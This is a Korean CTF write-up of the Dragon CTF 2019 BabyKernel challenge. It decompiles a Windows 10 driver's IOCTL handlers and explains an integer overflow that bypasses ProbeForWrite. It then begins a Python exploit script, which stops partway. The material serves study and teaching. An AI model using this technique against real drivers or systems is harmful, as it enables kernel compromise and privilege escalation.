  <li>https://blog.rapid7.com/2019/06/12/heap-overflow-exploitation-on-windows-10-explained/</li>
</ul>

<p>Windows Debugging( Written in Chinese )</p>
<ul>
  <li>https://github.com/thawk/wiki/wiki/windows_debug</li>
</ul>]]></content><author><name>y0ny0ns0n</name></author><category term="blog" /><category term="windows" /><summary type="html"><![CDATA[작성 - y0ny0ns0n @ null2root]]></summary></entry><entry><title type="html">[Writeup] BabyKernel - Dragon CTF 2019</title><link href="https://null2root.github.io/blog/2020/01/11/BabyKernel-Dragon2019-writeup.html" rel="alternate" type="text/html" title="[Writeup] BabyKernel - Dragon CTF 2019" /><published>2020-01-11T02:00:00+00:00</published><updated>2020-01-11T02:00:00+00:00</updated><id>https://null2root.github.io/blog/2020/01/11/BabyKernel-Dragon2019-writeup</id><content type="html" xml:base="https://null2root.github.io/blog/2020/01/11/BabyKernel-Dragon2019-writeup.html"><![CDATA[<p>작성 - y0ny0ns0n @ null2root</p>

<h1 id="목차">목차</h1>
<ol>
  <li><a href="#1-소개">소개</a></li>
  <li><a href="#2-환경-구축">환경 구축</a></li>
  <li><a href="#3-분석">분석</a></li>
  <li><a href="#4-익스플로잇">익스플로잇</a></li>
  <li><a href="#5-후기">후기</a></li>
  <li><a href="#6-참고자료">참고자료</a></li>
</ol>

<h1 id="1-소개">1. 소개</h1>
<p>요 몇달동안 해킹 관련 공부에 손을 떼고 있다가 잠시 시간이 나서 재활치료 느낌으로 간단한 Windows 10 커널 문제를 하나 풀어볼려고 합니다.</p>

<p>처음에는 <a href="https://twitter.com/_niklasb">Niklas Baumstark</a>이 WCTF 2018에서 출제했던 <a href="https://github.com/niklasb/elgoog">searchme</a>라는 문제를 풀어볼려고 했었는데, 분석을 하면 할수록 <a href="https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/">Mateusz Jurczyk의 writeup</a>에 소개된 방법과 다른 방식으로 접근하기 어려워 보였습니다. 그렇다면 이미 갓해커 한명이 잘 써놓은 writeup이 있는데 다른 attack vector나 새로운 접근을 하지도 않으면서 존재하는 지식을 되풀이 하는건 <a href="https://en.wikipedia.org/wiki/Reinventing_the_wheel">너무 비생산적이라는 생각</a>이 들어, <a href="https://twitter.com/j00ru">Mateusz Jurczyk</a>이 Dragon CTF 2019 본선에 출제했던 다른 문제를 골라봤습니다.</p>

<h1 id="2-환경-구축">2. 환경 구축</h1>

<p>가상머신: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/</p>
<ul>
  <li>Windows 10 Version 1809 (OS Build 17763.914)</li>
  <li>VMware Workstation Pro 15.5.1</li>
</ul>

<p>문제파일: https://github.com/j00ru/ctf-tasks/tree/master/Dragon%20CTF%202019/Main%20event/BabyKernel/task</p>

<p>분석도구</p>
<ul>
  <li>WinDbg Preview: https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86</li>
  <li>VirtualKd-Redux: https://github.com/4d61726b/VirtualKD-Redux</li>
  <li>KePwnLib: https://github.com/y0ny0ns0n/my-playgrounds/blob/master/KePwnLib.py</li>
  <li>OSRLoader: https://www.osronline.com/OsrDown.cfm/osrloaderv30.zip</li>
</ul>

<p>사용자가 <strong>nt authority\system</strong>이 아니면 flag파일을 읽을 수 없도록 수정
<img src="/assets/images/babykernel-pic1.png" alt="disable normal access" /></p>

<h1 id="3-분석">3. 분석</h1>
<p>우선 처음 봤을때 눈에 띄는 건 취약한 커널 드라이버 파일만 주는 일반적인 커널 문제들과는 다르게 커널 드라이버와 통신하는 클라이언트 실행 파일( <strong>SecureClient.exe</strong> )도 같이 준다는 점입니다.</p>

<p><img src="/assets/images/babykernel-pic2.png" alt="SecureClient execute" /></p>

<p><strong>SecureClient.exe</strong>는 위와 같이 처음 시작 시 입력값을 요구합니다.</p>

<p>“<strong>protect</strong>“를 입력할 경우, 메시지를 입력하라고 하며 새로운 입력값을 요구하고 이를 입력해주면 메시지가 보호되었다는 문구와 함께 <strong>user-mode buffer is now empty</strong>라는 문구를 같이 출력합니다. 이 부분의 코드는 아래와 같습니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ....</span>
<span class="n">sub_7FF7F67439D0</span><span class="p">(</span><span class="o">&amp;</span><span class="n">qword_7FF7F67784C0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">user_msg</span><span class="p">,</span> <span class="n">v13</span><span class="p">);</span>
<span class="n">v15</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">user_msg</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v39</span> <span class="o">&gt;=</span> <span class="mh">0x10</span> <span class="p">)</span>
    <span class="n">v15</span> <span class="o">=</span> <span class="n">user_msg</span><span class="p">;</span>
<span class="n">sub_7FF7F674AC08</span><span class="p">(</span><span class="n">InBuffer</span><span class="p">,</span> <span class="mi">4096</span><span class="n">i64</span><span class="p">,</span> <span class="n">v15</span><span class="p">,</span> <span class="mi">4096</span><span class="n">i64</span><span class="p">);</span> <span class="c1">// 입력받은 메시지를 InBuffer에 복사</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="mh">0x226203u</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">BytesReturned</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">);</span>
<span class="n">InBufferLen</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="n">i64</span><span class="p">;</span>
<span class="k">do</span>
    <span class="o">++</span><span class="n">InBufferLen</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">InBuffer</span><span class="p">[</span><span class="n">InBufferLen</span><span class="p">]</span> <span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="mh">0x22620Bu</span><span class="p">,</span> <span class="n">InBuffer</span><span class="p">,</span> <span class="n">InBufferLen</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">BytesReturned</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="n">LODWORD</span><span class="p">(</span><span class="n">v17</span><span class="p">)</span> <span class="o">=</span> <span class="n">cpp_cout</span><span class="p">(</span><span class="n">Format</span><span class="p">,</span> <span class="s">"[+] Successfully protected message, user-mode buffer is now empty"</span><span class="p">);</span>
<span class="c1">// ....</span>
</code></pre></div></div>

<p><a href="https://docs.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol">DeviceIoControl()</a> 함수는 <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-buffered-i-o">Buffered I/O</a> 통신을 사용하는 커널 드라이버와 통신하기 위해 사용하는 함수이며, 아래와 같이 입력값 버퍼( <code class="language-plaintext highlighter-rouge">lpInBuffer</code> ) 혹은 출력값 버퍼( <code class="language-plaintext highlighter-rouge">lpOutBuffer</code> )를 인자값으로 지정할 수 있습니다.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">DeviceIoControl</span><span class="p">(</span>
    <span class="n">HANDLE</span>       <span class="n">hDevice</span><span class="p">,</span>
    <span class="n">DWORD</span>        <span class="n">dwIoControlCode</span><span class="p">,</span> <span class="c1">// a.k.a IOCTL code</span>
    <span class="n">LPVOID</span>       <span class="n">lpInBuffer</span><span class="p">,</span>
    <span class="n">DWORD</span>        <span class="n">nInBufferSize</span><span class="p">,</span>
    <span class="n">LPVOID</span>       <span class="n">lpOutBuffer</span><span class="p">,</span>
    <span class="n">DWORD</span>        <span class="n">nOutBufferSize</span><span class="p">,</span>
    <span class="n">LPDWORD</span>      <span class="n">lpBytesReturned</span><span class="p">,</span>
    <span class="n">LPOVERLAPPED</span> <span class="n">lpOverlapped</span>
<span class="p">);</span>
</code></pre></div></div>

<p>위의 코드에선 총 2개의 IOCTL code( 0x226203, 0x22620B )를 사용합니다. 0x226203은 따로 입력값 혹은 출력값 버퍼를 지정해주지 않지만, 0x22620B는 사용자가 입력한 메시지( <code class="language-plaintext highlighter-rouge">InBuffer</code> )를 입력값 버퍼로 지정해주는데, 호출 이후 <code class="language-plaintext highlighter-rouge">InBuffer</code>에 보관되어있던 메시지는 <code class="language-plaintext highlighter-rouge">InBufferLen</code>만큼 NULL 바이트로 덮어씌워집니다.</p>

<p>“<strong>unprotect</strong>“를 입력할 경우, 위에서 보호했던 메시지를 수신했다고 출력합니다. 이 부분은 지엽적인 코드가 많아 아래와 같이 IOCTL 관련 부분만 봤습니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ....</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="mh">0x226207u</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">BytesReturned</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="mh">0x22620Bu</span><span class="p">,</span> <span class="n">InBuffer</span><span class="p">,</span> <span class="mh">0x1000u</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">BytesReturned</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="n">i64</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="n">LODWORD</span><span class="p">(</span><span class="n">v26</span><span class="p">)</span> <span class="o">=</span> <span class="n">cpp_cout</span><span class="p">(</span><span class="n">Format</span><span class="p">,</span> <span class="s">"[-] Unable to unprotect a message, aborting"</span><span class="p">);</span>
    <span class="c1">// ....</span>
<span class="p">}</span>
<span class="n">LODWORD</span><span class="p">(</span><span class="n">v20</span><span class="p">)</span> <span class="o">=</span> <span class="n">cpp_cout</span><span class="p">(</span><span class="n">Format</span><span class="p">,</span> <span class="s">"[+] Retrieved the following message: "</span><span class="p">);</span>
<span class="n">LODWORD</span><span class="p">(</span><span class="n">v21</span><span class="p">)</span> <span class="o">=</span> <span class="n">cpp_cout</span><span class="p">(</span><span class="n">v20</span><span class="p">,</span> <span class="n">InBuffer</span><span class="p">);</span>
<span class="c1">// ....</span>
</code></pre></div></div>

<p>여기서도 2개의 IOCTL code( 0x226207, 0x22620B )를 사용합니다.</p>

<p>0x226207은 따로 입/출력값 버퍼를 지정해주지 않고 사용되며, 0x22620B는 여기서 다시 사용되는데 특이하게도 입력값 버퍼로 지정해 준 <code class="language-plaintext highlighter-rouge">InBuffer</code>에 커널 드라이버가 보호(?)중인 메시지를 넣습니다.</p>

<p>이후 <strong>unprotect</strong>를 입력해 다시 한번 위의 코드를 실행하면 아무런 메시지를 출력하지 않는데 아마 <strong>kernel-mode buffer</strong>에 보관중이던 메시지도 IOCTL 통신 이후에 초기화된 것으로 보입니다.</p>

<p>아직 커널 드라이버 파일( <strong>SecureDrv.sys</strong> )을 분석하지 않은 상태에서 클라이언트 파일만 봤을 때, IOCTL 통신의 역할은 간단해 보입니다.</p>

<p>0x226203은 사용자에게 입력받은 메시지를 커널 드라이버로 보내고( User-Land -&gt; Kernel-Land ), 0x226207은 커널 드라이버에 보관중인 메시지를 받아서 출력합니다( Kernel-Land -&gt; User-Land ).</p>

<p>특기할 점은 양쪽 다 메시지를 보내고 나서 보낸쪽에서 현재 보관중인 메시지는 NULL 바이트로 초기화한다는 점과, 둘 다 0x22620B를 같이 사용한다는 점인데 여기서 0x22620B가 Kernel-Land와 User-Land간의 메시지 송/수신을 처리한다고 유추해볼 수 있습니다.</p>

<p>이제 <strong>SecureDrv.sys</strong>를 분석해 봅시다.</p>

<p>커널 드라이버의 entrypoint인 <a href="https://docs.microsoft.com/en-us//windows-hardware/drivers/wdf/driverentry-for-kmdf-drivers">DriverEntry()</a> 함수를 보면 Base Address는 다르겠지만 아래와 같은 구조의 함수를 찾을 수 있습니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span> <span class="kr">__fastcall</span> <span class="nf">sub_FFFFF8030740123C</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">PDRIVER_OBJECT</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// rbx</span>
    <span class="n">NTSTATUS</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>
    <span class="n">UNICODE_STRING</span> <span class="n">DestinationString</span><span class="p">;</span> <span class="c1">// [rsp+40h] [rbp-28h]</span>
    <span class="n">UNICODE_STRING</span> <span class="n">SymbolicLinkName</span><span class="p">;</span> <span class="c1">// [rsp+50h] [rbp-18h]</span>

    <span class="n">v1</span> <span class="o">=</span> <span class="n">DriverObject</span><span class="p">;</span>
    <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"[+] SecureDrv: driver loaded</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DestinationString</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">Device</span><span class="se">\\</span><span class="s">SecureStorage"</span><span class="p">);</span>
    <span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">SymbolicLinkName</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">DosDevices</span><span class="se">\\</span><span class="s">SecureStorage"</span><span class="p">);</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">IoCreateDevice</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">DestinationString</span><span class="p">,</span> <span class="mh">0x22u</span><span class="p">,</span> <span class="mh">0x100u</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">DeviceObject</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span>
    <span class="p">{</span>
        <span class="n">IoCreateSymbolicLink</span><span class="p">(</span><span class="o">&amp;</span><span class="n">SymbolicLinkName</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">DestinationString</span><span class="p">);</span>
        <span class="n">memset64</span><span class="p">(</span><span class="n">v1</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">,</span> <span class="n">just_return_STATUS_NOT_SUPPORTED</span><span class="p">,</span> <span class="mh">0x1Bu</span><span class="n">i64</span><span class="p">);</span>
        <span class="n">v1</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">[</span><span class="mi">14</span><span class="p">]</span> <span class="o">=</span> <span class="n">deviceControlHandler</span><span class="p">;</span> <span class="c1">// IRP_MJ_DEVICE_CONTROL</span>
        <span class="n">v1</span><span class="o">-&gt;</span><span class="n">DriverUnload</span> <span class="o">=</span> <span class="n">driverUnloadHandler</span><span class="p">;</span>
        <span class="n">qword_FFFFF80307403020</span> <span class="o">=</span> <span class="mi">0</span><span class="n">i64</span><span class="p">;</span>
        <span class="n">dword_FFFFF80307403028</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">FastMutex</span><span class="p">.</span><span class="n">Count</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
        <span class="n">KeInitializeEvent</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Event</span><span class="p">,</span> <span class="n">SynchronizationEvent</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="n">qword_FFFFF80307404050</span> <span class="o">=</span> <span class="n">sub_FFFFF80307401130</span><span class="p">;</span>
        <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"[+] SecureDrv: driver initialized</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>IOCTL 관련 루틴은 보통 <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/irp-mj-device-control">IRP_MJ_DEVICE_CONTROL</a> 핸들러 함수안에 있기 때문에, 해당 핸들러 함수안을 보면 아래와 같이 간단한 구조의 IOCTL code 처리 루틴이 보입니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v6</span> <span class="o">=</span> <span class="n">v2</span><span class="o">-&gt;</span><span class="n">UserBuffer</span><span class="p">;</span>
<span class="c1">// ....</span>
<span class="k">case</span> <span class="mh">0x226203u</span><span class="p">:</span>
    <span class="n">v8</span> <span class="o">=</span> <span class="n">user_to_kernel_handler</span><span class="p">;</span>
    <span class="k">goto</span> <span class="n">LABEL_9</span><span class="p">;</span>
<span class="k">case</span> <span class="mh">0x226207u</span><span class="p">:</span>
    <span class="n">v8</span> <span class="o">=</span> <span class="n">kernel_to_user_handler</span><span class="p">;</span>
<span class="n">LABEL_9</span><span class="o">:</span>
    <span class="n">func_ptr</span> <span class="o">=</span> <span class="n">v8</span><span class="p">;</span>
    <span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mh">0x22620Bu</span><span class="p">:</span>
    <span class="n">v7</span> <span class="o">=</span> <span class="n">just_jmp_to_func_ptr</span><span class="p">(</span><span class="n">func_ptr</span><span class="p">);</span> <span class="c1">// jmp rax(=func_ptr)</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="p">)</span>
    <span class="p">{</span>
        <span class="n">ProbeForWrite</span><span class="p">(</span><span class="n">v6</span><span class="p">,</span> <span class="mi">8u</span><span class="n">i64</span><span class="p">,</span> <span class="mi">1u</span><span class="p">);</span>
        <span class="o">*</span><span class="n">v6</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">break</span><span class="p">;</span>
</code></pre></div></div>

<p>0x22620B는 다른 IOCTL code에서 지정해준 핸들러 함수를 실행하는게 기능의 전부였습니다. 실제 처리 루틴은 0x226203( <code class="language-plaintext highlighter-rouge">user_to_kernel_handler</code> )과 0x226607( <code class="language-plaintext highlighter-rouge">kernel_to_user_handler</code> )에 있기 때문에 저 핸들러 함수들을 분석해야 합니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">signed</span> <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">user_to_kernel_handler</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">_BYTE</span> <span class="o">*</span><span class="n">user_msg</span><span class="p">;</span> <span class="c1">// rdi</span>
    <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">user_msg_len</span><span class="p">;</span> <span class="c1">// rsi</span>

    <span class="n">user_msg</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">a2</span> <span class="o">&gt;</span> <span class="mh">0xFFF</span> <span class="p">)</span>                 <span class="c1">// cmp     edx, 0FFFh</span>
        <span class="k">return</span> <span class="mh">0xFFFFFFFFC000000D</span><span class="n">i64</span><span class="p">;</span> <span class="c1">// STATUS_INVALID_PARAMETER</span>
    <span class="n">user_msg_len</span> <span class="o">=</span> <span class="n">a2</span><span class="p">;</span>
    <span class="n">ProbeForWrite</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">,</span> <span class="mi">1u</span><span class="p">);</span>
    <span class="n">kmemcpy</span><span class="p">(</span><span class="n">kernel_msg</span><span class="p">,</span> <span class="n">user_msg</span><span class="p">,</span> <span class="n">user_msg_len</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">user_msg_len</span> <span class="o">&gt;=</span> <span class="mh">0x1000</span> <span class="p">)</span>     <span class="c1">// cmp     rsi, 1000h</span>
        <span class="n">_report_rangecheckfailure</span><span class="p">();</span>
    <span class="n">kernel_msg</span><span class="p">[</span><span class="n">user_msg_len</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">user_msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">user_msg_len</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="n">i64</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">kernel_to_user_handler</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">user_msg_len</span><span class="p">;</span> <span class="c1">// rbx</span>
    <span class="n">_BYTE</span> <span class="o">*</span><span class="n">user_msg</span><span class="p">;</span> <span class="c1">// r14</span>
    <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">kernel_msg_len</span><span class="p">;</span> <span class="c1">// rax</span>

    <span class="n">user_msg_len</span> <span class="o">=</span> <span class="n">a2</span><span class="p">;</span>
    <span class="n">user_msg</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span>
    <span class="n">ProbeForWrite</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1u</span><span class="p">);</span> <span class="c1">// lea     r8d, [rsi+1]</span>
    <span class="n">kernel_msg_len</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="n">i64</span><span class="p">;</span>
    <span class="k">do</span>
      <span class="o">++</span><span class="n">kernel_msg_len</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span> <span class="n">kernel_msg</span><span class="p">[</span><span class="n">kernel_msg_len</span><span class="p">]</span> <span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">user_msg_len</span> <span class="o">&gt;=</span> <span class="n">kernel_msg_len</span> <span class="p">)</span>
      <span class="n">user_msg_len</span> <span class="o">=</span> <span class="n">kernel_msg_len</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">user_msg</span><span class="p">,</span> <span class="n">kernel_msg</span><span class="p">,</span> <span class="n">user_msg_len</span><span class="p">);</span>
    <span class="n">user_msg</span><span class="p">[</span><span class="n">user_msg_len</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">kernel_msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">user_msg_len</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="n">i64</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>위의 코드들을 보시면 <code class="language-plaintext highlighter-rouge">user_to_kernel_handler()</code> 함수는 입력값 버퍼에서 메시지를 읽어들여 고정된 커널 메모리 영역에 삽입하는데, <code class="language-plaintext highlighter-rouge">kernel_to_user_handler()</code> 함수의 경우, 커널 메모리 영역에 보관된 메시지를 읽어들여 <strong>입력값 버퍼</strong>에 삽입합니다.</p>

<p>근데 <strong>입력값 버퍼</strong>는 <code class="language-plaintext highlighter-rouge">DeviceIoControl()</code>의 3번째 인자값이기 때문에 주소값을 원하는 대로 조작할 수 있습니다. 다만 <code class="language-plaintext highlighter-rouge">memcpy()</code> 함수로 값을 복사하기 전에 <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-probeforwrite">ProbeForWrite()</a> 함수로 입력값 버퍼의 주소가 실제 User-Land에 속하는 주소인지 검사합니다.</p>

<p>이 검사는 <code class="language-plaintext highlighter-rouge">kernel_to_user_handler()</code> 함수에서 <code class="language-plaintext highlighter-rouge">ProbeForWrite()</code> 함수의 2번째 인자값에 1을 더해서 호출하기 때문에, 하단의 코드처럼 입력값 버퍼의 크기를 0xFFFFFFFF로 지정해주면 Integer Overflow가 발생해 우회할 수 있습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">KePwnLib</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">BABY_IOCTL_CODE1</span> <span class="o">=</span> <span class="mh">0x226203</span> <span class="c1"># user -&gt; kernel
</span><span class="n">BABY_IOCTL_CODE2</span> <span class="o">=</span> <span class="mh">0x226207</span> <span class="c1"># kernel -&gt; user
</span><span class="n">BABY_IOCTL_CODE3</span> <span class="o">=</span> <span class="mh">0x22620B</span> <span class="c1"># jmp to handler
</span>
<span class="n">DRIVER_NAME</span> <span class="o">=</span> <span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">SecureStorage"</span>
<span class="n">DEVICE_NAME</span> <span class="o">=</span> <span class="s">"SecureDrv"</span>

<span class="c1"># edit for exploit
</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
	<span class="n">HANDLE</span><span class="p">,</span>
	<span class="n">DWORD</span><span class="p">,</span>
	<span class="n">c_ulonglong</span><span class="p">,</span> <span class="c1"># LPVOID,
</span>	<span class="n">DWORD</span><span class="p">,</span>
	<span class="n">LPVOID</span><span class="p">,</span>
	<span class="n">DWORD</span><span class="p">,</span>
	<span class="n">POINTER</span><span class="p">(</span><span class="n">DWORD</span><span class="p">),</span>
	<span class="n">LPVOID</span>
<span class="p">]</span>

<span class="n">hDriver</span> <span class="o">=</span> <span class="n">DriverConnect</span><span class="p">(</span><span class="n">DRIVER_NAME</span><span class="p">)</span>
<span class="k">if</span> <span class="n">hDriver</span> <span class="o">==</span> <span class="n">NULL</span><span class="p">:</span>
	<span class="k">print</span> <span class="s">"[!] cannot create kernel driver handler"</span>
	<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>

<span class="k">print</span> <span class="s">"[+] %s handler      = 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">DRIVER_NAME</span><span class="p">,</span> <span class="n">hDriver</span><span class="p">)</span>
<span class="n">securedrv_addr</span> <span class="o">=</span> <span class="n">GetDeviceBase</span><span class="p">(</span><span class="n">DEVICE_NAME</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"[+] %s base address = 0x%016x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">DEVICE_NAME</span><span class="p">,</span> <span class="n">securedrv_addr</span><span class="p">)</span>

<span class="n">dwRet</span> <span class="o">=</span> <span class="n">DWORD</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE1</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">buf</span> <span class="o">=</span> <span class="n">create_string_buffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">)</span>
<span class="n">memmove</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE3</span><span class="p">,</span> <span class="n">addressof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="mi">8</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>

<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">BABY_IOCTL_CODE2</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">byref</span><span class="p">(</span><span class="n">dwRet</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span>
